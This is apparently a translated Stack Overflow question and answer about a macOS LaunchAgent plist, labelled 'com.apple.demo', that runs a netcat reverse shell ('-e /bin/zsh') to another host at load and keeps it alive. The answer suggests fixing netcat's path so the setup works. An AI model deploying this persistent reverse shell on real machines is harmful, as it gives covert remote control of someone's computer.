如下所示,我将一个脚本保存到文件/Users/yulkytulky/Library/demo/demo:
netcat 192.168.1.191 12345 -e /bin/zsh并创建了一个LaunchAgent plist文件,以便外壳程序自动运行,如下所示:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.demo</string>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
<key>ProgramArguments</key>
<array>
<string>/bin/sh</string>
<string>/Users/yulkytulky/Library/demo/demo</string>
</array>
<key>StartInterval</key>
<integer>5</integer>
</dict>
</plist>然而,当我听的时候,没有产生任何shell。
我测试了如何将脚本更改为
say hello它成功了!(每5秒打一次招呼)
当我尝试运行netcat时,为什么它不起作用?
注意:我知道这个脚本是可执行的。我甚至可以从plist文件中复制脚本的路径,将其粘贴到终端中,它就可以像预期的那样工作。
发布于 2020-04-21 20:15:04
仔细检查netcat的路径(您可以在shell中使用which netcat来完成此操作)。say位于/usr/bin/中,因此通常位于标准路径中,但如果netcat可执行文件位于其他位置,则可能需要为其提供完整的路径规范
https://stackoverflow.com/questions/61330541
复制相似问题